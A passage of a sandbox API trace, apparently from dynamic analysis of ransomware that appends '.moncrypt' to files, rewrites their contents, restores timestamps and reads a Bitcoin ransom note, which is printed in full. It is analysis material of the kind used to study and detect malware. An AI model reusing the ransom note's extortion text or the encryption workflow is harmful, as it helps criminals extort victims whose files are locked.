(in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0044.833] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", cchWideChar=61, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpUsedDefaultChar=0x0) returned 61 [0044.833] CharLowerBuffW (in: lpsz=".JPG", cchLength=0x4 | out: lpsz=".jpg") returned 0x4 [0044.833] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".jpg", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".jpgShared\\GRPHFLT\\MS.JPG", lpUsedDefaultChar=0x0) returned 4 [0044.833] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.JPG", cAlternateFileName="")) returned 0x54e200 [0044.833] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0044.833] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0044.833] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0044.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", dwFileAttributes=0x20) returned 1 [0044.949] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0044.949] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.moncrypt")) returned 1 [0044.950] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0044.950] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0044.950] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x425 [0044.950] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0044.950] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x425, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18ea34*=0x425, lpOverlapped=0x0) returned 1 [0044.952] GlobalLock (hMem=0x440004) returned 0x551178 [0044.952] GlobalLock (hMem=0x44000c) returned 0x553188 [0044.952] GlobalHandle (pMem=0x551178) returned 0x440004 [0044.952] GlobalUnlock (hMem=0x440004) returned 0 [0044.952] GlobalHandle (pMem=0x553188) returned 0x44000c [0044.952] GlobalUnlock (hMem=0x44000c) returned 0 [0044.952] GlobalLock (hMem=0x44000c) returned 0x551178 [0044.952] GlobalHandle (pMem=0x551178) returned 0x44000c [0044.952] GlobalUnlock (hMem=0x44000c) returned 0 [0044.952] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0044.952] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x440, lpOverlapped=0x0) returned 1 [0044.952] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0044.952] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0044.963] WriteFile (in: hFile=0x188, lpBuffer=0x1d7d8d8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1d7d8d8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0044.963] CloseHandle (hObject=0x188) returned 1 [0044.964] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0044.964] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0044.964] CloseHandle (hObject=0x188) returned 1 [0044.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.moncrypt", dwFileAttributes=0x20) returned 1 [0044.965] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0044.965] GlobalLock (hMem=0x44000c) returned 0x551178 [0044.965] GlobalHandle (pMem=0x551178) returned 0x44000c [0044.965] GlobalUnlock (hMem=0x44000c) returned 0 [0044.965] GlobalLock (hMem=0x44000c) returned 0x551178 [0044.965] GlobalLock (hMem=0x440004) returned 0x553188 [0044.965] GlobalHandle (pMem=0x551178) returned 0x44000c [0044.965] GlobalUnlock (hMem=0x44000c) returned 0 [0044.965] GlobalHandle (pMem=0x553188) returned 0x440004 [0044.965] GlobalUnlock (hMem=0x440004) returned 0 [0044.965] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0044.965] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c290c00, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3c290c00, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3c290c00, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e200 [0044.965] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0044.965] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0044.965] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0044.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0044.966] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0044.966] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0044.966] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0044.966] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0044.966] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0044.966] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0044.966] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0044.966] CloseHandle (hObject=0x188) returned 1 [0044.966] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.PNG", cAlternateFileName="")) returned 1 [0044.966] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0044.966] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0044.966] GlobalLock (hMem=0x440004) returned 0x551178 [0044.966] GlobalHandle (pMem=0x551178) returned 0x440004 [0044.966] GlobalUnlock (hMem=0x440004) returned 0 [0044.966] GlobalLock (hMem=0x440004) returned 0x551178 [0044.966] GlobalLock (hMem=0x44000c) returned 0x553188 [0044.966] GlobalHandle (pMem=0x551178) returned 0x440004 [0044.966] GlobalUnlock (hMem=0x440004) returned 0 [0044.966] GlobalHandle (pMem=0x553188) returned 0x44000c [0044.967] GlobalUnlock (hMem=0x44000c) returned 0 [0044.967] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0044.967] CharLowerBuffW (in: lpsz="MS.PNG", cchLength=0x6 | out: lpsz="ms.png") returned 0x6 [0044.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0044.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0044.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0044.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0044.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0044.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0044.967] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0044.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", cchWideChar=61, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpUsedDefaultChar=0x0) returned 61 [0044.967] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0044.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\GRPHFLT\\MS.PNG", lpUsedDefaultChar=0x0) returned 4 [0044.967] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.PNG", cAlternateFileName="")) returned 0x54e200 [0044.967] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0044.967] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0044.968] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0044.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", dwFileAttributes=0x20) returned 1 [0044.968] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0044.968] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.moncrypt")) returned 1 [0044.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0044.969] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0044.969] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x692 [0044.969] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0044.969] ReadFile (in: hFile=0x188, lpBuffer=0x1e4aa48, nNumberOfBytesToRead=0x692, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1e4aa48*, lpNumberOfBytesRead=0x18ea34*=0x692, lpOverlapped=0x0) returned 1 [0044.973] GlobalLock (hMem=0x44000c) returned 0x551178 [0044.973] GlobalLock (hMem=0x440004) returned 0x553188 [0044.973] GlobalHandle (pMem=0x551178) returned 0x44000c [0044.973] GlobalUnlock (hMem=0x44000c) returned 0 [0044.973] GlobalHandle (pMem=0x553188) returned 0x440004 [0044.973] GlobalUnlock (hMem=0x440004) returned 0 [0044.975] GlobalLock (hMem=0x440004) returned 0x551178 [0044.975] GlobalHandle (pMem=0x551178) returned 0x440004 [0044.975] GlobalUnlock (hMem=0x440004) returned 0 [0044.975] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0044.975] WriteFile (in: hFile=0x188, lpBuffer=0x1e4aa48*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e4aa48*, lpNumberOfBytesWritten=0x18ea30*=0x6b0, lpOverlapped=0x0) returned 1 [0044.975] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0044.977] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d38*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d38*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0044.997] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0044.997] CloseHandle (hObject=0x188) returned 1 [0044.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0044.998] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0044.998] CloseHandle (hObject=0x188) returned 1 [0044.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0044.999] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0044.999] GlobalLock (hMem=0x440004) returned 0x551178 [0044.999] GlobalHandle (pMem=0x551178) returned 0x440004 [0044.999] GlobalUnlock (hMem=0x440004) returned 0 [0044.999] GlobalLock (hMem=0x440004) returned 0x551178 [0044.999] GlobalLock (hMem=0x44000c) returned 0x553188 [0044.999] GlobalHandle (pMem=0x551178) returned 0x440004 [0044.999] GlobalUnlock (hMem=0x440004) returned 0 [0044.999] GlobalHandle (pMem=0x553188) returned 0x44000c [0044.999] GlobalUnlock (hMem=0x44000c) returned 0 [0044.999] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0044.999] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c290c00, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3c290c00, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3c290c00, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e200 [0044.999] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0044.999] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0045.000] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0045.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0045.000] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0045.000] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0045.000] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0045.000] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0045.000] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0045.000] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0045.000] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0045.000] CloseHandle (hObject=0x188) returned 1 [0045.000] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WPG", cAlternateFileName="")) returned 1 [0045.000] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.000] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.000] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.000] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.000] GlobalUnlock (hMem=0x44000c) returned 0 [0045.001] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.001] GlobalLock (hMem=0x440004) returned 0x553188 [0045.001] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.001] 